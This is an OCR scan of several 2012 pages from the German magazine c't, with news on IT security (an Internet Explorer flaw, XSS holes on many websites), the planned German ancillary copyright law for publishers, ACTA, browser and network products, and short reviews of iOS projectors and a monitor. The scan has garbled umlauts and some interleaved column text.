zeigt. Mittlerweile gibt es ein
Modul fur das Angriffsframework
Metasploit, mit dem jedermann
die Schwachstelle fur seine Zwe-
cke missbrauchen kann. Auch fir
die bereits gepatchte IE-Liicke ist
seit kurzem ein Metasploit-Modul
im Umlauf. Wer den Internet Ex-
plorer nutzt, sollte also schleu-
nigst noch ausstehende Win-
dows-Updates installieren sowie
das FixIt-Tool anwenden. (rei)

www.ct.de/1215047

19-jdhriger entdeckt Liicken auf 150 Webseiten

Florian Gumbel, ein 19-jéhriger
Leser von heise Security, hat
Schwachstellen auf Gber 150 nam-
haften Webseiten wie Bitkom.
org, Buhl.de, sicherheit.eco.de,
Ferrari.com, KabelBW.de, Wetter.
de und Zurich.de entdeckt. Bei
den Licken handelt es sich um
sogenannte Cross-Site-Scripting-
Licken (XSS), durch die ein An-
greifer eigenen Code in die
verwundbaren Seiten einschleu-
sen kann; etwa um Zugangsda-
ten zu stehlen oder Schadcode zu
verbreiten.

AuBer der schieren Anzahl der
verwundbaren Webseiten Uber-
rascht auch der Anteil der Uberre-
gional bekannten Internetprasen-
zen. Dabei ist Cross-Site-Scripting
bei weitem kein neues Phanomen:
heise Security berichtete bereits
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im Jahr 2003 ausfuhrlich tiber da-
raus resultierende Gefahren.

Auf die Webseite der Zurich-
Versicherung hétten Angreifer
etwa ein Login-Formular ein-
schleusen koénnen, das die dort
eingegebenen Zugangsdaten an
einen fremden Server schickt. Wir
haben die Betreiber zahlreicher
Webseiten Uber das Sicherheits-
problem informiert. Damit stie-
Ben wir nicht in allen Fallen auf
Interesse: Wahrend etwa die
Llcke bei Buhl Data noch am sel-
ben Tag geschlossen wurde,
blieb unsere Anfrage an die Zu-
rich-Versicherung auch nach zwei
Wochen unbeantwortet — erst
nachdem wir auf heise Security
Uber die Sicherheitsprobleme be-
richteten, reagierte das Unter-
nehmen. (rei)

ohne nachtragliche Zustimmung
des Kongresses nicht in Kraft tre-
ten konne. Es gehe dabei nicht
um die Angemessenheit der
ACTA-Inhalte, sondern um funda-
mentale Fragen der Gewaltentei-
lung, schreiben die Experten. Ins-
besondere die Senatoren, die fur
die Anerkennung volkerrechtli-
cher Ubereinkiinfte zustindig
seien, mussten hier ihrer Verant-
wortung gerecht werden und die
Sache eingehend etwa mithilfe
offentlicher Anhérungen priifen.

Die G8-Staaten beraten der-
weil Uber eine mogliche Nachfol-
geregelung: Die ,European Digi-
tal Rights“-Initiative veroffent-
lichte unlangst einen Entwurf fur
einen Beschluss zum besseren

aktuell | Copyright, Sicherheit

,Schutz geistigen Eigentums”.
Die darin enthaltenen Vorschla-
ge sollen sich auf Produkt-
falschungen beschranken. Im
Vordergrund stehen ,freiwillige
MaBnahmen zur Absicherung
globaler Lieferketten” und die Si-
cherheit von Arzneimitteln. Aber
auch bei Bemiihungen, rechts-
widrige Online-Angebote dicht-
zumachen, will die Initiative alle
Register ziehen. (vbr)

Literatur

[1] Monika Ermert, Holger Bleich,
Verscharfte Regeln, ACTA soll Ur-
heberrecht und Patente starken —
auf Kosten der Biirger?, 't 22/10,
S.88

Sicherheits-Notizen

Phisher versuchen derzeit;, Zu-
gangsdaten zur Packstation
abzugreifen, indem sie den Mail-
Empfanger mit seinem Namen
ansprechen und seine tatsach-
liche Postnummer angeben.

Microsofts Hartungstool EMET
lasst sich in Version 3.0 besser
im Netzwerk verteilen und
informiert, wenn es Prozesse
aus Sicherheitsgrinden be-
endet.

Nullsoft hat mit Winamp-Ver-
sion 5.6.3.3234 drei kritische
Lucken geschlossen, durch die

man sein System beim Offnen
praparierter AVI-Dateien mit
Schadcode infizieren kann.

Die PHP-Entwickler haben mit
den Versionen 5.4.4 und 5.3.14
Uber 30 Bugs beseitigt, darun-
ter mehrere Sicherheitsltcken.

McAfee hat einen Ring von On-
line-Banking-Betriigern ent-
deckt, der es vor allem auf Fir-
men abgesehen hatte. Die Ab-
zocker versuchten Gber 60 Mil-
lionen Euro abzubuchen, davon
rund 1 Million von deutschen
Konten.

ZURICH® Zurich Versicherung
Suchen nach in
|

» Mehr Suchopticnen

Suchwort.,

Bereichen

Leider kein
" Lieber User:
Bitte loggen Sie sich ein, um den
Fortgang fortzusetzen!
Benutzername
Passwort
Thre Suche
. ergab 0

Lochrig: Durch eine Schwachstelle hdtte man die Webseite der
Zurich Versicherung fiir Phishing missbrauchen kénnen. Das rot
markierte Formular wurde durch die Liicke eingeschleust.
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Holger Bleich

Umstrittener
Schnipselschutz

Das geplante Leistungsschutzrecht wird konkret

Ein ,Lex Google” soll kiinftig Verlage vor der unbezahlten
kommerziellen Verbreitung ihrer Inhalte auf fremden
Websites schiitzen. Der erste Gesetzentwurf des Bundes-
justizministeriums schief3t allerdings weit tGber dieses
Ziel hinaus. Kritiker befiirchten angesichts des Papiers,
dass das neue Schutzrecht die freie Kommunikation

im Internet gefahrden wird.

Die Pléne der Bundesregie-
rung zu einem ,Schutzrecht
fur Presseverleger” gegen die un-
gefragte Ubernahme von Texten
im Web haben Gestalt angenom-
men. Der erste Referentenent-
wurf des sogenannten Leistungs-
schutzrechts wird zurzeit in den
zustandigen Ministerien disku-
tiert. Er besteht aus einem klei-
nen Anderungsvorschlag zum
Urheberrecht, der es jedoch in
sich hat. Es handelt sich um nicht
weniger als ein neues sogenann-
tes Immaterialglterrecht, das
ausschlieBlich den Verlagen als
Verwertern, nicht aber den Urhe-
bern selbst zugutekommt.

Dem Entwurf zufolge soll
einem ,Presseverleger das aus-
schlieBliche Recht” zustehen, ,das
Presseerzeugnis oder Teile hier-
von zu gewerblichen Zwecken 6f-
fentlich zugénglich zu machen” -
und das fiir ein volles Jahr. In kri-
tischen Beitragen lauft die ge-
plante Regelung oft unter dem
Namen ,Lex Google”, weil es ins-
besondere verhindern soll, dass
Google wie bislang Ublich in
Suchmaschinentreffern und bei
Google News Uberschriften und
Textanrisse (sogenannte ,Snip-
pets”) aus fremden Artikeln Gber-
nimmt, ohne dafiir zu bezahlen.

Aus Verlegersicht handelt Goo-
gle hier zumindest unmoralisch,
denn der Konzern torpediert
demnach das in Deutschland gan-
gige Geschéftsmodell fiir die On-
line-Vermarktung journalistischer
Inhalte: Der Nutzer zahlt nichts,
sondern konsumiert die einge-
blendete Werbung, womit der
Verleger das Angebot finanziert.
Google, so die Argumentation fiir
ein Leistungsschutzrecht, kopiere
diese Inhalte, bette sie ins eigene
Angebot ein und schalte eigene
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Werbung dazu - verdiene also
viel Geld mit fremder Leistung.
Nach Meinung vieler Kritiker
lasst diese Sichtweise auflen vor,
dass Google den Verlagen ihr Ge-
schaft Gberhaupt erst ermégli-
che, weil die Suchmaschine mit
den verlinkten Snippets die Besu-
cher zum Originalinhalt auf den
Verlagsseiten fuhre. Dennoch
wurden die Lobbyisten der Verle-
ger nicht mude, ihr Anliegen
immer wieder in Berlin vorzutra-
gen - bis die Bundesregierung
die Einfihrung des Verleger-
schutzrechts sogar in den Koaliti-
onsvertrag aufgenommen hat.

Verlinkungsfalle

Der nun vorgelegte Entwurf ent-
hélt reichlich vage Definitionen
und kdénnte nach Ansicht vieler
Juristen weit tiber das vom feder-
fihrenden Bundesjustizministeri-
um ausgegebene Ziel hinaus-
schieen. Als schutzwirdig gel-
ten laut Entwurfsbegriindung
bereits ,kleine Teile des Presseer-
zeugnisses”. Unangetastet bleibt
das ebenfalls im Urheberrecht
(Paragraf 51) verankerte Zitat-
recht. Danach missen (ibernom-
mene Textteile in ein ,selbststan-
diges Sprachwerk” integriert wer-
den. In aller Regel muss dabei der
eigene Textteil die zitierten In-
halte langenmaBig tiberwiegen.

Ist dies nicht der Fall, soll der
Leistungsschutz gelten, und zwar
auch fur einzelne Sétze und -
trotz einer anderslautenden Dar-
stellung in der Entwurfsbegrin-
dung - sogar fir Uberschriften.
Die gangige Methode zur Such-
maschinenoptimierung, den Link
zu einem Artikel aus der Uber-
schrift zu generieren (siehe Abbil-
dung), kdnnte damit bereits zur
(Abmahn-)Falle werden: Die Uber-
nahme dieses Links kann dann
einen Rechtsverstol} darstellen.

Der Entwurf definiert tiberdies
nur sehr unbestimmt, wer Inha-
ber des Rechts sein wird und wer
zu den potenziellen Rechtsverlet-
zern zahlt. Dem Text des Gesetz-
entwurfs zufolge gilt als ,Presse-
erzeugnis” eine ,redaktionell-
technische Festlegung im Rah-
men einer (...) periodisch
veroffentlichten Sammlung”. Ob
darunter beispielsweise auch
Blogs fallen, ist derzeit umstritten.

Ein ,Presseverleger” zumin-
dest kdnnte laut Begriindungs-
text durchaus der Betreiber eines
Blogs sein, falls er damit - bei-
spielsweise mit eingeblendeter
Werbung - Einkommen erzielt.
Umgekehrt misste dieser Blog-
ger dann auch jeden Textschnip-
sel Dritter lizenzieren, denn nach
dieser Sichtweise handelt er
schlieBlich gewerblich. Schon an
diesem Beispiel wird ersichtlich,
dass das geplante Leistungs-
schutzrecht zu einer wesentlich
defensiveren Verlinkungspraxis —
und damit zu weniger Querver-
weisen — im Web flihren dirfte.

Nach Lesart einiger Juristen
kénnten auch Betreiber sozialer
Netzwerke wie Google+ und Face-
book mit dem Leistungsschutz-
recht in Konflikt geraten. Sie ge-
nerieren bisher standardmaBig
aus geposteten Links Snippets
mit Miniaturbild und profitieren
von der Veroffentlichung mit ein-
geblendeter Werbung.

War urspriinglich noch ge-
plant, zur Lizenzvergabe und
Abrechnung eine Verwertungs-
gesellschaft nach Art der GEMA
ins Leben zu rufen, ist davon im
Gesetzentwurf nun nichts mehr

Status Foto/Video Frage
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Google-Boss wirklich

steckt wirkdich dahinter?

http://www.bild.de/geldfwirtschaft/larry-page/google-boss-abgetaucht-wie-krank-

Larry Page chne Stamme: Wie lrank ist der

http: /fwww.bild.de /geld fwr tschaftfarry. ..

GroBe Sorge um Google-Grinder Larry Page! Der 39-Jatvige
ist seit enem Monat von der Bidflache versdwmanden. Was

zu finden. Nur die gro8en Verla-
ge dirften sich untereinander
schnell auf Abrechnungsmoda-
litdten einigen. Fir den Gele-
genheitsblogger kénnte es aber
eine riesige Hurde werden, kos-
tenpflichtige Lizenzen fur Text-
nutzung zu vergeben oder ein-
zuholen.

»Interessenausgleich”

Obwohl der erste Gesetzentwurf
noch nicht einmal vom Bundes-
kabinett abgesegnet und in den
Bundestag eingebracht ist, hat
sich bereits ein breiter Wider-
stand gegen das Vorhaben orga-
nisiert. Darunter sind nicht nur
sogenannte ,Netzaktivisten”,
sondern renommierte Rechtsex-
perten, Journalisten und Politi-
ker. Auch in der eigenen Koaliti-
on trifft Bundesjustizministerin
Sabine Leutheusser-Schnarren-
berger (FDP) zunehmend auf Wi-
derstand. Die Bundestagsabge-
ordnete Dorothee Bar etwa, im-
merhin Mitglied des CSU-Partei-
vorstands und stellvertretende
Generalsekretarin der CSU, be-
furchtet angesichts des Ent-
wurfstextes ,erhebliche Ein-
schrankungen der Kommunikati-
on im 21. Jahrhundert” und ein-
seitige Interessenspolitik.
Leutheusser-Schnarrenberger
(FDP) hat das Papier verteidigt:
,Das Leistungsschutzrecht kon-
serviert nicht alte Geschaftsmo-
delle”, erklarte die Ministerin.
Stattdessen werde durch das Ge-
setz nur ein Interessenausgleich
geschaffen. Leistungsschutzrech-
te seien im deutschen Urheber-
recht nichts Neues. Der Gesetz-
entwurf ziele darauf, die verlege-
rische Tatigkeit zu schitzen. ,Es
geht dabei um mehr als die rein
urheberrechtlichen Inhalte, es
geht darum, die Risikotbernah-
men, die wirtschaftliche Verant-
wortung Uber ein Leistungs-
schutzrecht abzusichern.” |hr
Haus bemihe sich, das Gesetz
maoglichst schnell im Bundeskabi-
nett zu beschlieBen und anschlie-
Bend im Bundestag zu beraten.
Ob das Leistungsschutzrecht al-
lerdings nochin dieser Legislatur-
periode, also bis Mitte 2013
kommt, scheint fraglich. ~ (hob)

Bald verboten? Aus dem
beschreibenden Link, der eine
schutzwiirdige Leistung
darstellen wiirde, generiert
Facebook automatisch ein
Snippet.
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Operain Version 12

Opera Software legt mit Release
12 seines Webbrowsers erstmals
auch fur Windows und Mac OS
spezielle 64-Bit-Versionen auf,
die schneller sein sollen als die
32-Bit-Pendants. Experimentell
ist die Unterstlitzung der Hard-
ware-Unterstltzung zur Grafik-
beschleunigung, die man des-
halb explizit aktivieren muss. Das
gilt auch fur ,Do not Track”,
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womit der Browser den besuch-
ten Websites mitteilt, dass der
Nutzer kein Tracking etwa durch
Werbenetzwerke wiinscht. Die
neue Version lagert Plug-ins in
externe Prozesse aus, was die
Stabilitdat des Browsers verbes-
sern soll. Opera 12 bereinigtauch
eine Reihe von Sicherheitspro-
blemen und unterstitzt HTML5
sowie CSS3 umfassender.  (ad)

Neue Facebook-Funktionen

Facebook fihrt zwei neue Funk-
tionen ein, eine davon aber nicht
ganz freiwillig: Als Ergebnis einer
Sammelklage in den USA sollen
sich Nutzer kiinftig dagegen ver-
wahren kénnen, als Werbebot-
schafter in sogenannten Spon-
sored Stories aufzutauchen.

Die zweite Neuerung betrifft
Kommentare, die sich kiinftig
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auch noch nach Veroffentli-
chung vom Autor dndern lassen.
Dies gilt auch rickwirkend fir
alte Kommentare, nicht aber fur
die Statusmeldungen, denen die
Kommentare folgen: Die dirfen
auch weiterhin nur geléscht wer-
den. Auch bleiben die urspriing-
lichen Versionen gednderter
Kommentare einsehbar. (ad)
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Netzagentur misst Internet

Mit einem Speedtest (www.
initiative-netzqualitat.de)  will
die Bundesnetzagentur ermit-
teln, wie hdufig bei deutschen
Breitbandanschlussen die tat-
sachlich erreichte Datenubertra-
gungsrate von der im Vertrag
angegebenen abweicht. Auf3er-
dem sei die Studie Teil der MaB3-
nahmen zur Sicherung der Netz-
neutralitdt und eines offenen In-
ternet in Deutschland, so die Be-
horde. Man wolle untersuchen,
inwieweit eine parallele Nut-

zung von VolP und IPTV die
Ubertragungsqualitait  beein-
trachtigt.

Der Speedtest der Bundes-
netzagentur wird als Webseite
im Browseraufgerufen und funk-
tioniert wie andere Dienste
dieser Art, die allerdings oft
ungenaue Ergebnisse liefern.
Man muss seine Postleitzahl, die
Bandbreite des Anschlusses, den
Provider und die subjektive Zu-
friedenheit angeben, ehe die
Messung einmal durchlauft. (ad)

Gmail auch in Deutschland

Nach Beilegung des jahrelangen
Rechtsstreits um die Marke
.Gmail” fuhrt Google diese Be-
zeichnung fiir seinen Maildienst
auch in Deutschland ein. Nutzer
einer @googlemail.com-Adresse
sollen diese daher bald auf die

kirzere Domain gmail.com um-
stellen konnen. Kontoeinstellun-
gen, vorhandene Mails und Kon-
takte seien von der Umstellung,
die sich auch wieder riickgangig
machen lassen soll, nicht betrof-
fen, erklart das Unternehmen. (ad)
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Wireshark 1.8 lauscht an mehreren I

O 7 Website
Schnittstellen ¥ st

- -3 sl 0

Der quelloffene Paket-Analysa- te lassen sich mit Anmerkungen | = oo ometon vesie ER ey
tor und Netzwerk-Sniffer Wire-  versehen und Wireshark greift ;j,fjf,‘jf;f?;j;',‘jﬁ_",{;:jj,:;i;‘f:‘;;f_ﬂ”;;_’;i;f;f,‘:‘,‘;‘;;j \( Pmhineiin el SRR N
shark steht in Version 1.8.0 zum  auf die IPv6-GeolP-Datenbank | & g
Download bereit. Die neue Versi-  zurtick. s
on erfasst den Datenverkehr nun Die Entwickler haben zudem | g &pture Options
nicht mehr nur von einer oder  das Speichern-Menu Uberarbei- i
von allen Netzwerkschnittstellen  tet und die Darstellung von TCP- [T @1 +MDlAnForcebcP HetworimgAdapteidimer —1e8:Tde e 82 cn n  [oam)
(any). Aus der Liste der vorhan-  Fast-Retransmissions sowie TCP- & oo (EDw e (e
denen Schnittstellen lassen sich ~ Window-Updates angepasst, die - e it © ‘L:i;_:‘
nun mehrere gezielt auswdhlen, es jetzt nicht mehr als Warnun- 9 B goms - A R
deren Netzwerkverkehr Wire- genoderFehler anzeigt. Weitere P —
shark betrachtet und auswertet. Neuerungen und Details be- e b B
Das Programm verbessert die schreibt das Changelog auf der
Handhabung von Schlisseln fiir ~ Projektseite, fir Windows und

IEEE 802.11, IPsec sowie ISAKMP
und speichert Mitschnitte per
Vorgabe im pcap-ng-Format.
Netzwerk-Pakete und Mitschnit-

Mac OS X stehen im Download-
Bereich neben dem Quelltext
der Software auch fertige Pro-
gramme bereit. (rek)

Weitere Gigabit-WLAN-Router

Nach seinem kirzlich vorgestell-
ten und im 5-GHz-Band bis zu
1,3 GBit/s (brutto) schnellen
11ac-WLAN-Router R6300 will
Netgear nun den Dualband-
WLAN-Router R6200 auf den
Markt bringen. Das Gerat er-
reicht bei 5 GHz jedoch nur etwa
900 MBit/s gemal IEEE 802.11ac.
Im 2,4-GHz-WLAN-Band (ber-
tragt er gleichzeitig bis zu 300
MBit/s (IEEE 802.11n) Uber zwei
rdumlich getrennte Datenstro-
me, sodass er rechnerisch damit

etwa 1,2 GBit/s schafft. Fur die
Verbindung zu seinen 11ac-
Routern hat der Hersteller zudem
den 11ac-tauglichen USB-WLAN-
Adapter A62000 vorgestellt, der
gleichzeitig im 2,4- und 5-GHz-
Band funkt.

Wéhrend der R6300 ab Juli
2012 fur 230 Euro zu haben sein
soll, sollen der langsamere R6200
sowie der USB-Adapter A6200 im
dritten Quartal 2012 auf den
Markt kommen. Preise nannte
Netgear bislang nicht. (rek)

Mobilfunk-Router fiir die Hutschiene

Das Hamburger Unternehmen
Dr. Neuhaus hat die Mobilfunk-
Router Tainy HMOD-L3-10 und
Tainy HMOD-V3-l0 vorgestellt.
Die beiden sind eine Weiterent-
wicklung der bisherigen Tainy-
HMOD-Gerate und besitzen eine
schnellere Router-CPU sowie
mehr Arbeitsspeicher.

Die etwa fiir die Steuerung von
Windradern aus weit entfernten
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Firmennetzen gedachten Geréate
sitzen in einem Gehdause fiir die
Hutschienenmontage, verbinden
sich per GPRS, EDGE, UMTS sowie
HSPA+ ins Internet und binden
sich Uberzwei Fast-Ethernet-Ports
in das lokale Netz ein. Flir externe
Mobilfunkantennen stehen zwei
Anschlisse an den Geréten bereit.

Zusatzlich koppelt der Tainy
HMOD-V3-I0 das LAN mit einem
Uber das Internet erreichbaren
Firmennetz per IPSec-VPN. Fur
die Verwaltung der Geréte ste-
hen eine Web-Oberflache, SNMP
sowie eine Kommandozeile per
Secure Shell (SSH) bereit - Gber
die sich auch die Firmware der
Router aktualisieren lasst.  (rek)

Die beiden Mobilfunk-Router
Tainy HMOD-L3-10 und Tainy
HMOD-V3-10 verbinden
Industrieanlagen mit dem
Firmennetz, der Tainy HMOD-
V3-10 klinkt sich dabei sogar
per IPSecin ein VPN ein.

Wahrend Wireshark bislang nur an allen oder einer einzigen
Schnittstelle lauschen konnte, sammelt es ab Version 1.8.0 an
ausgewahliten Ports die Paketdaten ein.

Heimkino-Funker

Der eher flr seine Festplatten be-
kannte Hersteller Western Digital
hat gleich vier Router vorgestellt,
die Funknetze parallel im 2,4-
und 5-GHz-Band gemall IEEE
802.11n aufspannen. Das kleinste
Modell N600 aus der My-Net-
Serie Ubertragt Uber zwei rdum-
lich getrennte Datenstréme bis
zu 300 MBit/s je WLAN-Band und
verbindet vier kabelgebundene
Netzwerkgerdte per Fast-Ether-
net. Im N750, N900 und N900
Central sitzt stattdessen ein Giga-
bit-Ethernet-Switch - beim N900
sogar mit acht statt der Ublichen
vier Ports. Wahrend der N750 nur
im 5-GHz-Band Uber drei Streams
bis zu 450 MBit/s Ubertragt und

Netzwerk-Notizen

Der Zeitserver-Cluster pool.ntp.
org sucht Mitstreiter, die sich
am Zeitsynchronisierungs-
dienst mit weiteren Servern be-
teiligen. Mitmachen kann jeder,
der einen Server mit statischer
IP-Adresse und dauerhafter In-
ternet-Anbindung besitzt. Die
dafiir nétige Bandbreite sei re-
lativ gering, denn Clients for-
dern nur wenige UDP-Pakete
an. Details zur Einrichtung und
Anmeldung eigener Server bei
pool.ntp.org beschreibt eine
Webseite (siehe c't-Link).

Der Verein Freie Netzwerke e. V.
will 100 WLAN-Access-Points
in den Berliner Stadtbezirken
Kreuzberg und Friedrichshain

bei 2,4 GHz 300 MBit/s erreicht,
schaffen die beiden Modelle
N900 und N900 Central in beiden
Funkbandern 450 MBit/s. Alle Ge-
rate sprechen Uber mindestens
einen USB-Port Massenspeicher
an, deren Inhalte (Musik, Videos
und Bilder) sie per UPnP/DLNA
im LAN verteilen. Zusatzlich ist
im N900 Central eine Festplatte
eingebaut, die sich als Backup-
Medium eignen soll.
LautHersteller kostet der N600O
rund 80 Euro, der N750 100 Euro
und der N900 170 Euro. Flr den
erst spater erhdltlichen N900
Central mit 2-TByte-Platte ver-
langt WD 350 Euro, das 1-TByte-
Modell kostet 200 Euro. (rek)

verteilen. Die Gerdte stellen
Uber ein offenes Funknetz
einen anonymen Internet-
zugang fiir jedermann bereit.
Die Initiatoren wollen damit
gegen die Storerhaftung pro-
testieren, durch die offene Inter-
netzugédnge etwa in Cafés der-
zeit fast unmdoglich gemacht
werden: Die Freifunk-Freedom-
Fighter-Box genannten Router
tunneln den Datenverkehr der
am Access Point angemeldeten
Nutzer tber ein virtuelles priva-
tes Netz zu einem VPN-Anbieter
in Schweden, sodass sowohl
WLAN-Surfer als auch DSL-In-
haberanonym bleiben.

www.ct.de/1215050
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kurz vorgestellt | Display, Beamer fiir iOS

Aufpasser

Philips’ 24"-Monitor warnt den
Nutzer, wenn er in einer ungesunden
Position vor dem Schirm sitzt.

Der 241PA4LRY ldsst sich neigen, drehen und
in der Hohe verstellen - theoretisch also
beste Voraussetzungen, um daran in einer
ergonomischen Sitzposition zu arbeiten.
Fir die praktische Umsetzung sorgt eine als
ErgoSensor bezeichnete Kamera oben im
Displayrahmen des 241P4LRY: Sie Uber-
wacht den Abstand zwischen Monitor und
Anwender sowie dessen Kopfstellung.
Schleicht sich eine ungesunde Sitzposi-
tion ein, zeigt der 24-Zéller eine Warnung
an, dass man beispielsweise den Abstand
zum Display erhéhen, verringern oder den
Kopf gerade halten soll. Zudem mahnt der
24-Z6ller nach einer Stunde ununterbroche-
ner Arbeit, eine kurze Pause einzulegen. Ab-
standswarnungen erfolgten bei unseren
Tests einigermalen verldsslich; eine schiefe
Kopfhaltung entging dem Monitor jedoch.
Praktisch: Sitzt niemand vorm Schirm, schal-
tet er sich nach kurzer Zeit ab und spart so
Strom. Kommt der Nutzer zuriick, erwacht
der 24-Zéller automatisch aus seinem Tief-
schlaf. Wer sich von den Hinweisen bevor-
mundet flhlt, kann den Sensor samt Strom-
sparfunktion im Monitor-Menti abschalten.
Das Display des 24-Zéllers erreicht einen
Kontrast von 820:1 und zeigt satte Farben
an. Das gilt aufgrund der TN-Panel-Technik
aber nurbeidirekter Draufsicht. Von den Sei-
ten betrachtet sehen die Farben blasser aus
und Weil3 wird gelbstichig. Fur die Bildbear-
beitung eignet sich der 241P4LRY damit
nicht, fur Office-Anwendungen reicht seine
Bildqualitat aus. Der ErgoSensor ist zwar eine
gute Idee, bei unseren Tests funktionierte er
aber nicht immer zuverlassig. (spo)

24"-Flachbildschirm

Hersteller Philips,
www.philips.de/

Aufldsung 1920 1080 Pixel

Ausstattung  DVI, DisplayPort,
USB-Hub (4 Ports)

Garantie 3 Jahre ink. . winkelabhangiger Kontrast:
Austauschservice Kreise im 20°-Abstand
Preis 310€

200 400 600
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Der Kleine

Aipteks MobileCinema i50S
ist gleichzeitig Akkupack und
Miniprojektor fiirs iPhone 4(S).

Der MobileCinemai50S kénnte als schlichtes
Akkupack-Gehause firs iPhone durchgehen.
Dass sich darin auch ein Projektor verbirgt,
siecht man erst auf den zweiten Blick. Der
i50S funktioniert ausschlieflich mit iPhone 4
und 4S und lasst sich wahlweise im Lademo-
dus oder im Projektionsmodus betreiben. Er
lud unser leeres iPhone 4S zu etwas mehr als
der Halfte auf, im Projektionsmodus hielt der
Akku rund zwei Stunden durch.

Der Gehdusebeamer meldet sich als Com-
posite-Video-Gerat am iPhone an, das Bild
wird also nicht digital Gbertragen. Mit 35
Lumen ist der i50S deutlich heller als andere
Kleinstprojektoren. Auch in nicht abgedun-
kelten Raumen kann man in DIN-A3-Groe
einigermafBen kontrastreich projizieren, in
dunkler Umgebung schafft man sogar 1,5
Meter Bildbreite. Insgesamt wirkt die Projek-
tion stimmig, wenn auch die Farben etwas
grell leuchten. Mit Heimkino-Beamern kann
der Minibeamer aber alleine schon wegen
der geringen Auflosung (640 x 480) nicht
mithalten. AuBer dem Dock-Connector gibt
es keine alternativen Signaleingange.

Bilder kommen nur an die Wand, wenn
eine kompatible App mit Video-out-Funk-
tion lauft. Aiptek stellt im App Store den
kostenlosen ,Aiptek Viewer” zur Verfligung,
der wahlweise das Live-Kamerabild (wie ein
Overhead-Projektor) oder einen Webbrow-
ser projiziert. Zudem lassen sich damit auf
dem iPhone gespeicherte Fotos und Videos
anzeigen - anders als bei der ebenfalls TV-
Out-kompatiblen vorinstallierten Apple-
App .Fotos” kann man die Bilder nicht nur
als selbstablaufende Diashow projizieren,
sondern auch mit Wischgesten vor- und zu-
ruckspringen. (ikj)

iPhone-Gehause mit LED-Pro ktor
Auflosung 640 480(4:3)
MaBe (B T H), Gewicht  6,8cmX 12,6mx2cm, 118g

Anschliisse Dock-Connector, fiir iPhone 4(S),
USB (Mini-B, zum Aufladen)

Lieferumfang USB-Kabel

Preis 250€
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Der Mittlere

BenQs Joybee GP2 passt in die
(grofBe) Jackentasche und schafft
stattliche 175 Lumen.

Der Joybee GP2 von BenQ ist etwa so grof3
wie zwei Butterstlicke — und wiegt auch un-
gefahr so viel. Der GP2 besitzt ein Dock fur
iPhone oder iPod, das die Gerdte aber nicht
ladt. Ubers Dock kommuniziert er nur im
Composite-Video-Modus mitden iOS-Gera-
ten. Die analoge Ubertragung fiihrte in un-
serem Test besonders bei Standbildern
manchmal zu Flimmern und leichten Bild-
storungen. Bei Nicht-Video-Out-kompati-
blen Apps bleibt die Leinwand schwarz.
Dank HDMI und VGA-Port kann man den
Beamer aber auch uber die von Apple an-
gebotenen Kabel anschlieen, was'die Bild-
qualitat deutlich verbessert.

Der Projektor kann Bild-, Ton- und
Videodateien (zum Beispiel JPG, MP3,
MKV, MOV und AVI) aus dem internen
Beamer-Speicher (2 GByte) abspielen und
auch von USB-Datentragern oder SD(HC)-
Karten. Der Lufter rohrt permanent mit
nervigen 2,5 Sone - und zwar auch, wenn
man in die helligkeitsreduzierte Eco-
Betriebsart schaltet.

Die Bildqualitat kann nicht mit echten
Heimkino-Beamern mithalten: Das liegt
zum einen am fir ein DLP-Projektionspanel
ungewodhnlichen Rautenmuster, bei dem
die Pixel nicht wie sonst rechtwinklig ange-
ordnet sind, sondern um 45 Grad gedreht.
Bei Schriftdarstellung fihrt das zu sicht-
baren Fransen. Zum andern erreichte der
Joybee im Test maximal 175 Lumen. Das
reicht in abgedunkelten Raumen etwa fir
zwei Meter Bildbreite, in hellen Konferenz-

rdumen nur flr etwa einen Meter. (jkj)
Aufldsung
MaBe (BxTxH),  14mx 13 cmx53cm, 5644
Gewicht (+329 g Netzteil)
Anschliisse Mini-HDMI, Dock-Connector, propriertérer

AV (VGA-Sub-D, Composite / filr Video),
Cinch in, Stereo-Klinke in&out (fiir Audio),
USB (Typ A + Mini B)

Lieferumfang VGA-Kabel, Composite-Kabel,
Mini-HDMI-Adapter, Fernbedienung
Preis 460 €
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Der Grof3e

Epsons MG-850HD nutzt eine Lampe
statt LEDs und ist entsprechend
groB3. Dafiir passt ein iPad ins Dock.

Den MG-850HD von Epson steckt man an-
ders als die anderen beiden Beamer auf die-
ser Doppelseite nicht einfach mal schnell in
die Tasche - dafr ist er zu schwer und zu
groB. Mit 3026 Lumen wirft er aber auch
mindestens 15-mal mehr Licht auf die Lein-
wand als die anderen Testkandidaten, das
reicht locker auch fir groBe Leinwande. Im
Vergleich zu ,echten” Heimkino-Projekto-
ren, die ab rund 1000 Euro erhdltlich sind,
enttduschte uns aber auch beim MG-850HD
die Bildqualitat: Nicht nur die Farben wirkten
flau, vor allem storte uns die extrem helle
Schwarzdarstellung: Wir haben Schwarz-
werte bis zu 8,4 Lumen gemessen, das ent-
spricht eher einem Grau als Schwarz.

In die Dockingstation passen iPod, iPhone
oder iPad, die automatisch geladen wer-
den. Wie bei den anderen beiden Geraten
unterstitzt das Dock des MG-850HD nur
die Zuspielung Uber die qualitativ minder-
wertige Composite-Schnittstelle. Nur Apps
mit TV-Out-Funktion geben ein Bild aus.
Bessere Qualitét bietet das von Apple ange-
botene HDMI-Kabel. Wahlweise kann man
im Beamermenu direkt auf Fotos, Videos
und Musikstticke vom iOS-Gerat zugreifen
- man muss also nicht auf dem Touch-
screen herumdriicken, sondern kann vom
Sofa aus die Projektoren-Fernbedienung
verwenden. Das eingebaute 10-Watt-
Soundsystem macht ordentlich Wumms.
Uber seinen USB-Anschluss kann der
Epson-Projektor Bilder direkt von USB-
Datentrdagern anzeigen und den Desktop des
angeschlossenen Mac-OS- oder Windows-
Rechners spiegeln. (jkj)

LCD-Projektor mit Dock-Connector
Aufldsung 1280 x 800 (16:10)
MaBe (B Tx H), Gewicht  34cm % 29,1 cm x 11,5 cm, 3,9kg

Anschliisse HDMI, Dock-Connector, VGA-Sub-D,
Komponente, Composite (fiir Video),
Stereo-Klinke in, Cinch in (fiir Audio),
USB (TypA+B)

Lieferumfang Fernbedienung

Preis 610 € (Ersatzlampe 180 €) €
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Solar-Tastatur

Logitech setzt bei der iPad-Tastatur-
Hulle Solar Keyboard Folio auf

eine umweltfreundliche und
unabhéngige Stromversorgung.

Aus Solarzellen bezieht die integrierte
Bluetooth-Tastatur Energie, die in einem
Akku zwischengespeichert wird, um auch
Phasen ohne Licht zu Uberbriicken. Logi-
tech gibt an, dass eine Akkuladung bis zu
zwei Jahre halte, was kaum Uberprifbar
ist, da dieser auch bei wenig Umgebungs-
licht standig aufgeladen wird. In unserem
mehrwochigen Test war die Tastatur je-
derzeit einsatzbereit. Sollte der Akku doch
